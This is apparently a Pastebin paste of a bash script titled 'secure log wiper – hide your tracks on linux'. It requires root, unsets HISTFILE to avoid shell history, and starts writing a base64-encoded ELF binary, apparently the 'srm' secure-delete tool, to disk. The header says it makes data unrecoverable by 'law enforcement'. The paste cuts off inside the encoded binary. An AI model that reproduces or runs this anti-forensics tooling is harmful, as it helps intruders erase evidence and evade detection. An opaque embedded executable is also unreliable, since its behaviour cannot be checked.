Advertisement
hackerscommunity

logcleaner - secure log wiper - hide your tracks on linux

Mar 29th, 2016
679
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 38.79 KB | None | 0 0
  1. #!/bin/bash
  2. #
  3. #   SLW -  SECURE LOG WIPER (CLEANER)  - WLS
  4. #          hide your  tracks on linux
  5. #
  6. #  todor.donev@gmail.com
  7. #  http://www.ethical-hacker.org/
  8. #  https://www.facebook.com/ethicalhackerorg
  9. #  http://pastebin.com/u/hackerscommunity
  10. #
  11. #  Description:
  12. #  Secure Remove
  13. #  srm is designed to delete data on mediums in  a
  14. #  secure  manner  which  can  not be recovered by
  15. #  thiefs, law  enforcement or  other threats. The
  16. #  wipe  algorythm  is  based on the paper "Secure
  17. #  Deletion  of Data from Magnetic and Solid-State
  18. #  Memory"  presented  at  the 6th Usenix Security
  19. #  Symposium  by Peter Gutmann, one of the leading
  20. #  civilian cryptographers.
  21. #
  22. #  Secure memory RAM wiper
  23. #  smem  is designed to  delete data which may lie
  24. #  still  in  your memory (RAM) in a secure manner
  25. #  which  can  not  be  recovered  by  thiefs, law
  26. #  enforcement  or  other  threats. Note that with
  27. #  the  new  SDRAMs, data will not wither away but
  28. #  will be kept static - it is easy to extract the
  29. #  necessary  information!  The  wipe algorythm is
  30. #  based  on  the  paper  "Secure Deletion of Data
  31. #  from Magnetic and Solid-State Memory" presented
  32. #  at  the  6th Usenix Security Symposium by Peter
  33. #  Gutmann,    one  of   the   leading    civilian
  34. #  cryptographers.
  35. #
  36. #  Disclaimer:
  37. #  This  or  previous program  is  for Educational
  38. #  purpose ONLY. Do not use it without permission.
  39. #  The  usual  disclaimer  applies, especially the
  40. #  fact  that  Todor Donev  is  not liable for any
  41. #  damages caused by direct or indirect use of the
  42. #  information or functionality  provided by these
  43. #  programs.  The author or any  Internet provider
  44. #  bears  NO  responsibility for content or misuse
  45. #  of these programs or  any  derivatives thereof.
  46. #  By  using  these  programs  you accept the fact
  47. #  that any damage (dataloss, system crash, system
  48. #  compromise,  etc.)  caused  by the use of these
  49. #  programs is not  Todor Donev's  responsibility.
  50. #
  51. #  Use  at  your  own risk and educational purpose
  52. #  ONLY!
  53. #
  54. #  SPECIAL THANKS TO THC !! SPECIAL THANKS TO THC
  55. #
  56. echo -e "\e[1;36m[\e[1;31m~\e[1;36m]\e[0;36m \tSLW -s- SECURE LOG WIPER\e[0m"
  57. echo -e "\e[1;36m[\e[1;31m~\e[1;36m]\e[0;36m HIDE MY ASS -s- HIDE THE TRACKS ON LINUX\e[0m"
  58. echo -e "\e[1;36m[\e[1;31m~\e[1;36m]\e[0;36m (todor.donev@gmail.com) -s- Todor Donev\e[0m"
  59. echo -e "\e[1;36m[\e[1;31m~\e[1;36m]\e[0;36m http://www.ethical-hacker.org/ -s- (c) 2016\n\e[0m"
  60. if [ "$UID" -ne "0" ];then
  61. echo -e "\e[1;31m[WARNING]: \e[0;36mDude dont be stupid! U r not root user\e[0m"
  62. exit 0
  63. fi
  64. echo -e "\e[0;36m[\e[1;31m*\e[0;36m] Setting file mode creation mask to 0\e[0m"
  65. umask 0
  66. echo -e "\e[0;36m[\e[1;31m*\e[0;36m] unset \e[0;31mHISTFILE\e[0m"
  67. unset HISTFILE
  68. touch srm smem 2>> /dev/null
  69. if [ ! -f srm -a -f smem ]; then
  70. echo -e "\e[1;31m[WARNING]: \e[0;36mSorry, maybe next time..\e[0m"
  71. exit 0
  72. fi
  73. echo -e "\e[0;36m[\e[1;31m*\e[0;36m] Preparing secure wiper\e[0m"
  74. base64 -di > srm << EOF
  75. f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA0IsECDQAAABUMwAAAAAAADQAIAAIACgAHAAbAAYAAAA0
  76. AAAANIAECDSABAgAAQAAAAEAAAUAAAAEAAAAAwAAADQBAAA0gQQINIEECBMAAAATAAAABAAAAAEA
  77. AAABAAAAAAAAAACABAgAgAQIhC4AAIQuAAAFAAAAABAAAAEAAAAAMAAAALAECACwBAg4AgAAiAIA
  78. AAYAAAAAEAAAAgAAABQwAAAUsAQIFLAECMgAAADIAAAABgAAAAQAAAAEAAAASAEAAEiBBAhIgQQI
  79. RAAAAEQAAAAEAAAABAAAAFDldGTkLQAA5K0ECOStBAgkAAAAJAAAAAQAAAAEAAAAUeV0ZAAAAAAA
  80. AAAAAAAAAAAAAAAAAAAABgAAAAQAAAAvbGliL2xkLWxpbnV4LnNvLjIAAAQAAAAQAAAAAQAAAEdO
  81. VQAAAAAAAgAAAAYAAAASAAAABAAAABQAAAADAAAAR05VAH0HGapr375FLdlWXUS61ViKaQuOAwAA
  82. AC8AAAABAAAABQAAAAIjCiIvAAAAMAAAADIAAAApHYwcrEvjwDnyixwzxPcSAAAAAAAAAAAAAAAA
  83. AAAAADwAAAAAAAAAAAAAABIAAAB/AAAAAAAAAAAAAAASAAAA9AAAAAAAAAAAAAAAEgAAAEoBAAAA
  84. AAAAAAAAABIAAABZAAAAAAAAAAAAAAASAAAAAQAAAAAAAAAAAAAAIAAAAHoAAAAAAAAAAAAAABIA
  85. AACMAAAAAAAAAAAAAAASAAAAcQAAAAAAAAAAAAAAEgAAABsBAAAAAAAAAAAAABIAAABJAQAAAAAA
  86. AAAAAAASAAAAUQEAAAAAAAAAAAAAEgAAAIYAAAAAAAAAAAAAABIAAABJAAAAAAAAAAAAAAASAAAA
  87. KgEAAAAAAAAAAAAAEgAAAGMBAAAAAAAAAAAAABIAAADaAAAAAAAAAAAAAAASAAAAKQAAAAAAAAAA
  88. AAAAEgAAAOUAAAAAAAAAAAAAABIAAACgAAAAAAAAAAAAAAASAAAAxQAAAAAAAAAAAAAAEgAAAHkA
  89. AAAAAAAAAAAAABIAAAAxAQAAAAAAAAAAAAASAAAArAAAAAAAAAAAAAAAEgAAAJMAAAAAAAAAAAAA
  90. ABIAAABqAAAAAAAAAAAAAAASAAAAMAAAAAAAAAAAAAAAEgAAACMBAAAAAAAAAAAAABIAAACmAAAA
  91. AAAAAAAAAAASAAAAAAEAAAAAAAAAAAAAEgAAAFAAAAAAAAAAAAAAABIAAADGAAAAAAAAAAAAAAAS
  92. AAAADgEAAAAAAAAAAAAAEgAAACIBAAAAAAAAAAAAABIAAABlAAAAAAAAAAAAAAASAAAAQQEAAAAA
  93. AAAAAAAAEgAAAMwAAAAAAAAAAAAAABIAAACaAAAAAAAAAAAAAAASAAAAOwEAAAAAAAAAAAAAEgAA
  94. AAcBAAAAAAAAAAAAABIAAABgAAAAAAAAAAAAAAASAAAAswAAAAAAAAAAAAAAEgAAAD0AAAAAAAAA
  95. AAAAABIAAAAVAQAAAAAAAAAAAAASAAAANwAAAAAAAAAAAAAAEgAAANMAAAAAAAAAAAAAABIAAAC+
  96. AAAAYLIECAQAAAARABkAGgAAABylBAgEAAAAEQAPAO0AAABEsgQIBAAAABEAGQBCAAAAQLIECAQA
  97. AAARABkAAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBfSU9fc3RkaW5fdXNlZABmZmx1c2gAc3Ry
  98. Y3B5AGV4aXQAc3JhbmQAb3B0aW5kAHBlcnJvcgBjbG9zZWRpcgBzaWduYWwAcHV0cwB0aW1lAHVu
  99. bGluawBwdXRjaGFyAGZzeW5jAGdldHBpZABjaG1vZAByZXdpbmQAc3RybGVuAHJtZGlyAGZzZWVr
  100. AGNoZGlyAGdldG9wdABfX2Z4c3RhdDY0AHN0ZG91dABmY2xvc2UAbWFsbG9jAGdldGdpZABfX2x4
  101. c3RhdDY0AG9wZW5kaXIAc3RkZXJyAHNldHJsaW1pdDY0AGdldHVpZABnZXRjd2QAZndyaXRlAGZy
  102. ZWFkAHJlbmFtZQBmcHJpbnRmAGZkb3BlbgByZWFkZGlyNjQAc2xlZXAAc2V0dmJ1ZgBmb3BlbjY0
  103. AF9fbGliY19zdGFydF9tYWluAGZyZWUAR0xJQkNfMi4yAEdMSUJDXzIuMQBHTElCQ18yLjAAAAAC
  104. AAIAAwADAAIAAAACAAIAAgACAAMAAgACAAIAAwACAAQAAgACAAIAAwACAAQAAgACAAIAAgACAAIA
  105. AgACAAIAAgACAAIAAgACAAIAAgACAAIABAACAAIAAgACAAIAAQACAAIAAQADABAAAAAQAAAAAAAA
  106. ABJpaQ0AAAQAaAEAABAAAAARaWkNAAADAHIBAAAQAAAAEGlpDQAAAgB8AQAAAAAAANywBAgGBgAA
  107. QLIECAUyAABEsgQIBTEAAGCyBAgFLwAA7LAECAcBAADwsAQIBwIAAPSwBAgHAwAA+LAECAcEAAD8
  108. sAQIBwUAAACxBAgHBgAABLEECAcHAAAIsQQIBwgAAAyxBAgHCQAAELEECAcKAAAUsQQIBwsAABix
  109. BAgHDAAAHLEECAcNAAAgsQQIBw4AACSxBAgHDwAAKLEECAcQAAAssQQIBxEAADCxBAgHEgAANLEE
  110. CAcTAAA4sQQIBxQAADyxBAgHFQAAQLEECAcWAABEsQQIBxcAAEixBAgHGAAATLEECAcZAABQsQQI
  111. BxoAAFSxBAgHGwAAWLEECAccAABcsQQIBx0AAGCxBAgHHgAAZLEECAcfAABosQQIByAAAGyxBAgH
  112. IQAAcLEECAciAAB0sQQIByMAAHixBAgHJAAAfLEECAclAACAsQQIByYAAISxBAgHJwAAiLEECAco
  113. AACMsQQIBykAAJCxBAgHKgAAlLEECAcrAACYsQQIBywAAJyxBAgHLQAAoLEECAcuAABVieVTg+wE
  114. 6AAAAABbgcMsKAAAi5P8////hdJ0BehuAAAA6JEDAADo/BsAAFhbycP/NeSwBAj/JeiwBAgAAAAA
  115. /yXssAQIaAAAAADp4P////8l8LAECGgIAAAA6dD/////JfSwBAhoEAAAAOnA/////yX4sAQIaBgA
  116. AADpsP////8l/LAECGggAAAA6aD/////JQCxBAhoKAAAAOmQ/////yUEsQQIaDAAAADpgP////8l
  117. CLEECGg4AAAA6XD/////JQyxBAhoQAAAAOlg/////yUQsQQIaEgAAADpUP////8lFLEECGhQAAAA
  118. 6UD/////JRixBAhoWAAAAOkw/////yUcsQQIaGAAAADpIP////8lILEECGhoAAAA6RD/////JSSx
  119. BAhocAAAAOkA/////yUosQQIaHgAAADp8P7///8lLLEECGiAAAAA6eD+////JTCxBAhoiAAAAOnQ
  120. /v///yU0sQQIaJAAAADpwP7///8lOLEECGiYAAAA6bD+////JTyxBAhooAAAAOmg/v///yVAsQQI
  121. aKgAAADpkP7///8lRLEECGiwAAAA6YD+////JUixBAhouAAAAOlw/v///yVMsQQIaMAAAADpYP7/
  122. //8lULEECGjIAAAA6VD+////JVSxBAho0AAAAOlA/v///yVYsQQIaNgAAADpMP7///8lXLEECGjg
  123. AAAA6SD+////JWCxBAho6AAAAOkQ/v///yVksQQIaPAAAADpAP7///8laLEECGj4AAAA6fD9////
  124. JWyxBAhoAAEAAOng/f///yVwsQQIaAgBAADp0P3///8ldLEECGgQAQAA6cD9////JXixBAhoGAEA
  125. AOmw/f///yV8sQQIaCABAADpoP3///8lgLEECGgoAQAA6ZD9////JYSxBAhoMAEAAOmA/f///yWI
  126. sQQIaDgBAADpcP3///8ljLEECGhAAQAA6WD9////JZCxBAhoSAEAAOlQ/f///yWUsQQIaFABAADp
  127. QP3///8lmLEECGhYAQAA6TD9////JZyxBAhoYAEAAOkg/f///yWgsQQIaGgBAADpEP3//wAAAAAA
  128. AAAAMe1eieGD5PBQVFJoYKQECGhwpAQIUVZo8JMECOin/f//9JCQkJCQkJCQkJCQkJCQVYnlU41k
  129. JPyAPWSyBAgAdT67DLAECKFosgQIgesIsAQIwfsCg+sBOdhzHZCNdCYAg8ABo2iyBAj/FIUIsAQI
  130. oWiyBAg52HLoxgVksgQIAY1kJARbXcONdgCNvCcAAAAAVYnljWQk6KEQsAQIhcB0ErgAAAAAhcB0
  131. CccEJBCwBAj/0MnDkJCQkJCQkJCQkJCQVYnlg+wYoUSyBAjHRCQIIgAAAMdEJAQBAAAAxwQkJKUE
  132. CIlEJAzoLf7//6GAsgQIhcB4CIkEJOgM/v//6Hf8///HBCQBAAAA6Mv+//+NdgBVieWD7BjHRCQM
  133. T6oECMdEJAhaqgQIx0QkBGuqBAjHBCRIpQQI6I79//+hhLIECMcEJGylBAiJRCQE6Hn9///HBCRw
  134. qgQI6D3+///HBCSUpQQI6DH+///HBCTIpQQI6CX+///HBCQQpgQI6Bn+///HBCRQpgQI6A3+///H
  135. BCR5qgQI6AH+///HBCSEpgQI6PX9///HBCS4pgQI6On9///HBCT8pgQI6N39///HRCQEj6oECMcE
  136. JKKqBAjo+fz//8cEJAEAAADo/f3//5CNdCYAVYnlgex4EQAAiV30i10IjUWIiXX4iX38iUQkCIlc
  137. JATHBCQDAAAA6Az8//+FwA+F7AAAAItNmIHhAPAAAIH5AIAAAA+ExwEAAIt1vDs1yLEECHYWgf78
  138. /wAAD47oAQAAxwXIsQQI//8AAIs1bLIECIX2D4XAAAAAMcCB+QCAAAAPhDICAACB+QBAAAAPhOYB
  139. AAChRLIECIlcJAjHRCQEhKgECIkEJOid/P//oXiyBAiFwA+E6AEAAKHEsQQIiRwkx0QkCAAAAADH
  140. RCQEAAAAAIlEJAzodw4AAItd9It1+It9/InsXcNmkMdEJASAAQAAiRwk6AD7//+hxLEECIkcJIPI
  141. AolEJAToXPr//4XAo4CyBAgPicABAACNtCYAAAAAuAEAAACLXfSLdfiLffyJ7F3DjbYAAAAAgfkA
  142. QAAAD4U0////ixV4sgQIhdIPhZ4DAACNtcfu///HRCQEABAAAIk0JOhA/P//xoXH/v//AIkcJOiB
  143. +///hcAPhYkDAACNhSj///+JRCQIx0QkBNStBAjHBCQDAAAA6Jv6//+Nhcj+//+JRCQIx0QkBNOt
  144. BAjHBCQDAAAA6H36//+LRYiLVYwzlSz///8zhSj///8Jwg+EewEAAKFEsgQIiVwkCMdEJASspwQI
  145. iQQk6Fr7//+JNCToAvv//4XAD4UHBAAAi02YsAGB4QDwAADpbP7//2aQi0Wcg/gBD4Yt/v//g+gB
  146. iUQkDKFEsgQIiVwkCMdEJAQgpwQIiQQk6Az7//+4/////+nf/v//ZpCJ8LpWVVVV9+rB/h8p8os1
  147. bLIECI1EUgOjyLEECIX2D4QL/v//6cb+//+NtgAAAACFwA+FqAAAAKFEsgQIiVwkCMdEJAQsqAQI
  148. iQQk6K/6//8xwOmF/v//xwQkCgAAAOgM+f//6Qf+//+NtCYAAAAAocSxBAiJHCSDyAKJRCQE6Jz4
  149. //+FwKOAsgQID4gP/v//jZUo////iVQkCIlEJATHBCQDAAAA6NX6//+LRYiLVYwzlSz///8zhSj/
  150. //8Jwg+EQwEAAKGAsgQIiQQk6A76//+4AwAAAOkB/v//jXQmAKHEsQQIx0QkCAAAAADHRCQEAQAA
  151. AIkcJIlEJAzoBwwAAOnX/f//ZpCLReCLVeQzVYQzRYAJwg+Fcf7//8cEJNStBAjo6Pj//4XAD4R2
  152. /v//x0QkBMABAADHBCTUrQQI6Gz4///HBCTUrQQI6MD4//+FwImFtO7//w+ESP7//4mdsO7//4ud
  153. tO7//422AAAAAIkcJOjY+P//hcAPhNABAACNeBMPthXUrQQID7ZAEznQD4R6AQAAD7YV060ECDnQ
  154. D4SDAQAAgz14sgQIAHQQiXwkBMcEJL6qBAjo4vj//4tFDIk8JIlEJATo6/v//4XAD46UAQAAg/gD
  155. D4SpAQAAoUSyBAiJfCQIx0QkBMmqBAiJBCToCfn//8cEJIqtBAjovff//+lo////i0Xgi1XkM1WE
  156. M0WACcIPhan+//+LhTj///8lAPAAAD0AgAAAD4WT/v//i1W4oXCyBAiD+gCJRCQUi0W0D45bAQAA
  157. iUQkEKHIsQQIx0QkCAAAAACJRCQMoYCyBAiJRCQEi0UMiQQk6DUNAACJwrhjAAAAhdIPhVv8//+h
  158. xLEECMdEJAgBAAAAx0QkBAAAAACJHCSJRCQM6GUKAADpNfz//8cEJFynBAjovPj//+lR/P//jbQm
  159. AAAAAMdEJATAAQAAiRwk6OD2//+JHCTo2Pf//4XAD4RX/P//oUSyBAiJXCQIx0QkBHynBAiJBCTo
  160. B/j//4tNmDHAgeEA8AAA6Sn7//+NtCYAAAAAD7ZXAToV1a0ECA+EUP7//+lx/v//jXYAD7ZHAToF
  161. 1K0ECA+Fbf7//w+2RwI6BdWtBAgPhCj+///pWP7//412AIuFtO7//4udsO7//4kEJOhs9///6T38
  162. //+DPXiyBAgAD4T6/f//xwQk3qoECOju9///6en9//+hRLIECIl8JAjHRCQE2KcECIkEJOhg9///
  163. 6cv9//98CYP4AA+Hmv7//7gBAAAAjXYA6Y3+//+hRLIECIl0JAjHRCQEBKgECIkEJOgq9///xwQk
  164. iq0ECOje9f//xwQkAQAAAOjC9///jXYAjbwnAAAAAI1MJASD5PD/cfxVieVXVlNRg+xYiwGLWQSJ
  165. RcSLA4N9xAGjhLIECH4Xi0MEv+WqBAi5AgAAAInG86YPhTIEAADoq/j//8dFwAIAAADHRbQAAAAA
  166. kI10JgDHRCQI6KoECIlcJASLVcSJFCTo+fX//4XAD4iJAAAAg+hEg/g2dgnobPj//+vSZpCQjbQm
  167. AAAAAP8khRyrBAiQgwVwsgQIAZDrto22AAAAAIMFeLIECAHrp420JgAAAACDRcAB65pmkIMFbLIE
  168. CAHrj420JgAAAACDfcABg1XA/+l7////jXYAxwXEsQQIAAAAAOlp////kMdFtAEAAADpXP///410
  169. JgCLPUCyBAg7fcQPhO0DAADHRCQEkIwECMcEJAIAAADoFfT//8dEJASQjAQIxwQkDwAAAOgB9P//
  170. x0QkBJCMBAjHBCQBAAAA6O3z//+hxLEECIkEJOhoBAAAixV4sgQIhdJ0TqFwsgQIx0XZcmFuZMdF
  171. 3W9tAADHReEAAAAAhcBmx0XlAADGRecAD4U+AwAAi3XAhfYPhfICAACNRdmJRCQExwQkvKgECOj8
  172. 9P//jXQmAI1FyMdFyP/////HRcz/////x0XQ/////8dF1P////+JRCQExwQkAQAAAOg58///hcAP
  173. hbsCAAAx9jl9xMdFsAAAAAAPjmoBAACJXbzrNmaQD7YGD7YV1K0ECDnCD4VmAQAAD7YV1a0ECDpW
  174. AQ+FVgEAAI22AAAAADl9xItluA+OJAEAAItVvIlluIsEuokEJOgz9P//i1W8g8Afg+DwKcSLBLqD
  175. xwGNdCQfg+bwiTQkiUQkBOgv9P//D7YF96oECDoGD4WHAAAAD7YF+KoECDpGAXV7oUSyBAjHRCQI
  176. OwAAAMdEJAQBAAAAxwQkbKkECIlEJAzoT/T//6FEsgQIx0QkCDYAAADHRCQEAQAAAMcEJKipBAiJ
  177. RCQM6Cr0///HBCQGAAAA6H70//+hRLIECMdEJAhCAAAAx0QkBAEAAADHBCTgqQQIiUQkDOj58///
  178. i020hckPhfb+//+LFXiyBAiF0g+F2AAAAItFwIk0JIlEJATomfb//4P4AInDdXqheLIECIXAD4Tt
  179. /v//xwQk3qoECOgx9P//i2W4OX3ED4/h/v//kI10JgCLfbCF/w+VwA+28Oj4AQAAjWXwifBZW15f
  180. XY1h/MNmkA+2FdOtBAg50HWHD7YF1K0ECDpGAQ+Fd////w+2BdWtBAg6RgIPhIX+///pYv///w+O
  181. sgAAAIP4AXR9g/gDdFChRLIECMdEJAgOAAAAx0QkBAEAAADHBCQLqwQIiUQkDOgb8///hdsPhEP+
  182. //+DRbAB6Tr+//9mkIl0JATHBCS+qgQI6Kjy///pE////412AIl0JAjHRCQEJKoECKFEsgQIiQQk
  183. 6Ofy//+DRbAB6f79//+NtgAAAACJdCQIx0QkBPmqBAihRLIECIkEJOi/8v//xwQkiq0ECOhz8f//
  184. g0WwAenK/f//ZpCD+P8PhU////+DRbAB6bb9//+/5KoECLkDAAAAicbzpg+Fv/v//+m1+///g33A
  185. AXRTxwQkFKkECOjb8v//6Q79//+hRLIECMdEJAguAAAAx0QkBAEAAADHBCQ8qQQIiUQkDOgx8v//
  186. 6Rv9//+LdcDHRdl6ZXJvxkXdAIX2D4S3/P//66eNRdmJRCQExwQk5KgECOix8f//6bT8///o7/P/
  187. /+kJ/P//kJCQkJCQkJCQkFW6q6qqqonli0UMV4tNEFZTi10I9+LR6nQmjRRSjXsBjXMCjRQRZpAP
  188. tgOIAQ+2B4hBAQ+2BohBAoPBAznKdehbXl9dw410JgCNvCcAAAAAVYnlg+wYoXSyBAiFwHQSiQQk
  189. 6MHw///HBXSyBAgAAAAAoXyyBAiFwHQOxwV8sgQIAAAAAMnDZpChRLIECMdEJAhPAAAAx0QkBAEA
  190. AADHBCT4qwQIiUQkDOg78f//ycOQVYnlg+wooWCyBAiJXfSJdfiJffzHRCQMAAAAAMdEJAgCAAAA
  191. x0QkBAAAAACJBCToNPH//6FEsgQIx0QkDAAAAADHRCQIAgAAAMdEJAQAAAAAiQQk6A/x///o6u7/
  192. /4nD6KPw//+Jxuic8f//xwQkAAAAAInH6N7w//+NNDeNHB4xw4kcJOiu7v//i00IxwV0sgQIAAAA
  193. AIXJdR2LXfSLdfiLffzHBXyyBAgBAAAAiexdw422AAAAAMdEJARgrQQIxwQkYq0ECOgM7///hcCj
  194. dLIECHTGixV4sgQIhdJ0vMdEJARirQQIxwQkb60ECOj17///66aNdCYAjbwnAAAAAFWJ5VdWU4Ps
  195. LIt1CIk0JOik7///jVj/jTweD7YHPC90boXbeQ3raJA8L422AAAAAHRdPC50S+id8P//iUXk20Xk
  196. 2A3crQQI2X3iD7dF4tgN4K0ECLQMZolF4LhP7MRO2W3g213k2W3ii03k9+mJyMH4H8H6AynCa9Ia
  197. KdGDwWGID4PrAYXbD7YEHo08HnmZg8QsW15fXcOJ9o28JwAAAABVieVXVlOD7CyLdQiJNCToBO//
  198. /4PAEIkEJOi57///iz14sgQIhf+Jww+FaQEAAMcEJAAAAAHone///4l0JASJHCSJx+jv7v//iTQk
  199. 6Mfu//+AfAb/L3QOiRwk6Lju//9mxwQDLwCJHCQx9uio7v//jQQDxwB4eHh4x0AEeHh4eMdACC54
  200. eHjGQAwAx0XkAAAAAOs0jXQmAIkcJOh47v//iQQk6DDv//+JBLeDxgGJXCQEiQQk6H7u//+DfeQE
  201. fzaB/v//PwB/LokcJOiQ/v//x0QkCIABAADHRCQEwQAAAIkcJOjg7P//hcB5rINF5AGDfeQEfsro
  202. /ez//4N95AR+Z4X2xwS3AAAAAHQhMdtmkIsEn4kEJOgN7v//iwSfg8MBiQQk6F/t//853n/jiTwk
  203. 6FPt///ovuz//4sdeLIECIXbdQyDxCxbXl9dw410JgDHRQidrQQIg8QsW15fXenl7f//kI10JgCh
  204. RLIECMdEJAgkAAAAx0QkBAEAAADHBCRIrAQIiUQkDOgL7v//6W////+NtgAAAADHBCSLrQQI6KTt
  205. ///phv7//420JgAAAABVieVXVlOD7HyLRQiJBCToVO3//4t9EIPAH4Pg8CnEjVwkG4Pj8IX/D4X6
  206. AAAAi0UIMfaJHCSNfYiJRCQE6Ebt//+NtgAAAACJHCToYP3//4l8JAiJXCQExwQkAwAAAOiE7P//
  207. hcB4CIPGAYP+ZH7Yg/5kf0uLRQiJXCQEiQQk6PTr//+FwA+F1AAAAItNDIXJdF+JHCTone3//4XA
  208. D4X9AAAAixV4sgQIhdIPhT8BAACNZfQxwFteX13DkI10JgCLRQjHRCQEkKwECIlEJAihRLIECIkE
  209. JOgc7f//i0UIiRwkiUQkBOid7P//i00Mhcl1oYkcJOh+7P//hcAPhd4AAACheLIECIXAdKaLRQjH
  210. BCTBrQQIiUQkBOh67P//jWX0McBbXl9dw4t1DIX2D4X7/v//i0UUDQECAACJRCQEi0UIiQQk6M7q
  211. //+FwA+I3P7//4kEJOh+7P//6c/+//+Qi0UIx0QkBHCsBAiJRCQIoUSyBAiJBCTofOz//8cEJIqt
  212. BAjoMOv//4tFCIkcJIlEJATo8ev//+nw/v//jXQmAItFCMcEJMCsBAiJRCQE6OXr///HBCSKrQQI
  213. 6Pnq//+LRQiJHCSJRCQE6Krq//+NZfS4/////1teX13DkI10JgCLRQjHBCTsrAQIiUQkBOu+i0UI
  214. xwQkqK0ECIlEJATolev//41l9DHAW15fXcONdgBVieVXVlOD7CyhdLIECIt1CIt9DIXAdCCJRCQM
  215. x0QkCAEAAACJdCQEiTwk6Fjs//+DxCxbXl9dw4X2dPQx22aQ6DPs//+JReTbReTYDdytBAjZfeIP
  216. t0Xi2A3grQQItAxmiUXg2W3g313e2W3iD7dF3ogEH4PDATned8WDxCxbXl9dw422AAAAAI28JwAA
  217. AABVieVXVlOB7DwAAQCLDXyyBAiLXRSLfRiFyQ+ESAQAAItFDMdEJATWrQQIiQQk6PXp//+FwInG
  218. D4QKBAAAhf/HheD//v8AAAAAD4WZAQAAi1UQhdIPhUIEAACJNCToVun//4tFHIXAD4WTAQAAi30I
  219. hf8PhJYAAACNhen//v+JheT//v+JRCQIiVwkBMcEJDGyBAjoyPj//4uV4P/+/4XSD4STAQAAvwEA
  220. AACQjXQmAIuF5P/+/4PHAYl0JAyJXCQIx0QkBAEAAACJBCTod+r//zm94P/+/3PXoXiyBAiFwA+F
  221. gwEAAIk0JOhq6f//i0UMiQQk6J/p//+FwA+IkQMAAIt9CDHAhf8PhDwCAADHhdj//v/RsQQIx4Xc
  222. //7/AAAAAMeF5P/+/wAAAACNdCYAi00QhckPhe0CAACJNCTodej//4uV5P/+/4XSD48GAwAAi4Xk
  223. //7/g+gFg/gaD4YdAQAAi30chf90F4O95P/+/yQPhGkCAACDfQgBD4RpAgAAi43g//7/hckPhMkB
  224. AAC/AQAAAOsvZpCNhen//v+DxwGJdCQMiVwkCMdEJAQBAAAAiQQk6I/p//85veD//v8PgjMBAACL
  225. ldz//v+F0nXJjYXp//7/iUQkBIkcJOiP/f//67WQjXQmAIn4MdL384PAAYmF4P/+/+lT/v//jXQm
  226. AItNCIXJD4Vt/v//jYXp//7/iYXk//7/iUQkCIlcJATHBCQ0sgQI6DX3//+LleD//v+F0g+Fbf7/
  227. /4u95P/+/5CJdCQMiVwkCMdEJAQBAAAAiTwk6PDo//852HTkoXiyBAiFwA+Eff7//8cEJCoAAADo
  228. U+f//+ls/v//jbYAAAAAjYXp//7/iUQkCIuF2P/+/4lcJASJBCToxPb//4uF4P/+/4XAD4T2AAAA
  229. iZ3U//7/i53g//7/vwEAAACQjXQmAIuF1P/+/4PHAYl0JAzHRCQEAQAAAIlEJAiNhen//v+JBCTo
  230. Yej//zn7c9WLndT//v+NtCYAAAAAiTQk6Fjn//+LRQyJBCTojef//4XAD4gFAQAAoXiyBAiFwA+F
  231. qAAAAIOF5P/+/wGDhdj//v8Dg73k//7/JQ+F9f3//4k0JOhF5///6GDm//8xwIHEPAABAFteX13D
  232. jXYAi73c//7/6yaNhen//v+JdCQMiVwkCMdEJAQBAAAAiQQk6Mrn//852A+Fcv///4X/ddaNhen/
  233. /v+JRCQEiRwk6NT7///rwmaQjYXp//7/iXQkDIlcJAjHRCQEAQAAAIkEJOiK5///Odh03ukx////
  234. kMcEJCoAAADo9OX//+lH////jbQmAAAAAIN9CAIPhY39//+Nhen//v+JRCQIiVwkBMcEJDSyBAjo
  235. XPX//8eF3P/+/wEAAADpbv3//5CNdCYA6Ivl///p8f7//422AAAAAItFEMdEJAgAAAAAiTQkiUQk
  236. BOg55v//hcAPhPz8//+BxDwAAQC4/////1teX13Dg30IAQ+P8Pz//+nV/v//ZpChRLIECMdEJAhJ
  237. AAAAx0QkBAEAAADHBCQUrQQIiUQkDOi75v//6Y77///oEeX//+ll/P//i0UQx0QkCAAAAACJNCSJ
  238. RCQE6MXl//+FwA+Ep/v//+uKkJCQVYnlXcNmZi4PH4QAAAAAAFWJ5VdWU+hPAAAAgcNlDAAAg+wc
  239. 6B/k//+NuyD///+NgyD///8px8H/AoX/dCQx9otFEIlEJAiLRQyJRCQEi0UIiQQk/5SzIP///4PG
  240. ATn+ct6DxBxbXl9dw4scJMOQkFWJ5VONZCT8oQCwBAiD+P90ErsAsAQIkI1b/P/QiwOD+P919I1k
  241. JARbXcOQVYnlU4PsBOgAAAAAW4HD2AsAAOjs5v//WVvJwwMAAAABAAIAAAAAAFRlcm1pbmF0ZWQg
  242. Ynkgc2lnbmFsLiBDbGVhbiBleGl0LgoAAHNybSAlcyAoYykgMTk5Ny0yMDAzIGJ5ICVzIDwlcz4K
  243. CgAAAFN5bnRheDogJXMgWy1kZmxydnpdIGZpbGUxIGZpbGUyIGV0Yy4KCgAJLWQgIGlnbm9yZSB0
  244. aGUgdHdvIGRvdCBzcGVjaWFsIGZpbGVzICIuIiBhbmQgIi4uIi4ACS1mICBmYXN0IChhbmQgaW5z
  245. ZWN1cmUgbW9kZSk6IG5vIC9kZXYvdXJhbmRvbSwgbm8gc3luY2hyb25pemUgbW9kZS4AAAAACS1s
  246. ICBsZXNzZW5zIHRoZSBzZWN1cml0eSAodXNlIHR3aWNlIGZvciB0b3RhbCBpbnNlY3VyZSBtb2Rl
  247. KS4AAAktciAgcmVjdXJzaXZlIG1vZGUsIGRlbGV0ZXMgYWxsIHN1YmRpcmVjdG9yaWVzLgAAAAAJ
  248. LXogIGxhc3Qgd2lwZSB3cml0ZXMgemVyb3MgaW5zdGVhZCBvZiByYW5kb20gZGF0YS4ACnNybSBk
  249. b2VzIGEgc2VjdXJlIG92ZXJ3cml0ZS9yZW5hbWUvZGVsZXRlIG9mIHRoZSB0YXJnZXQgZmlsZShz
  250. KS4AAABEZWZhdWx0IGlzIHNlY3VyZSBtb2RlICgzOCB3cml0ZXMpLgBFcnJvcjogRmlsZSAlcyAt
  251. IGZpbGUgaXMgaGFyZGxpbmtlZCAlZCB0aW1lKHMpLCBza2lwcGluZyEKAABESVJFQ1RPUlkgKGdv
  252. aW5nIHJlY3Vyc2l2ZSBub3cpAENhbid0IGNoZGlyKCkgdG8gJXMsIGhlbmNlIEkgY2FuJ3Qgd2lw
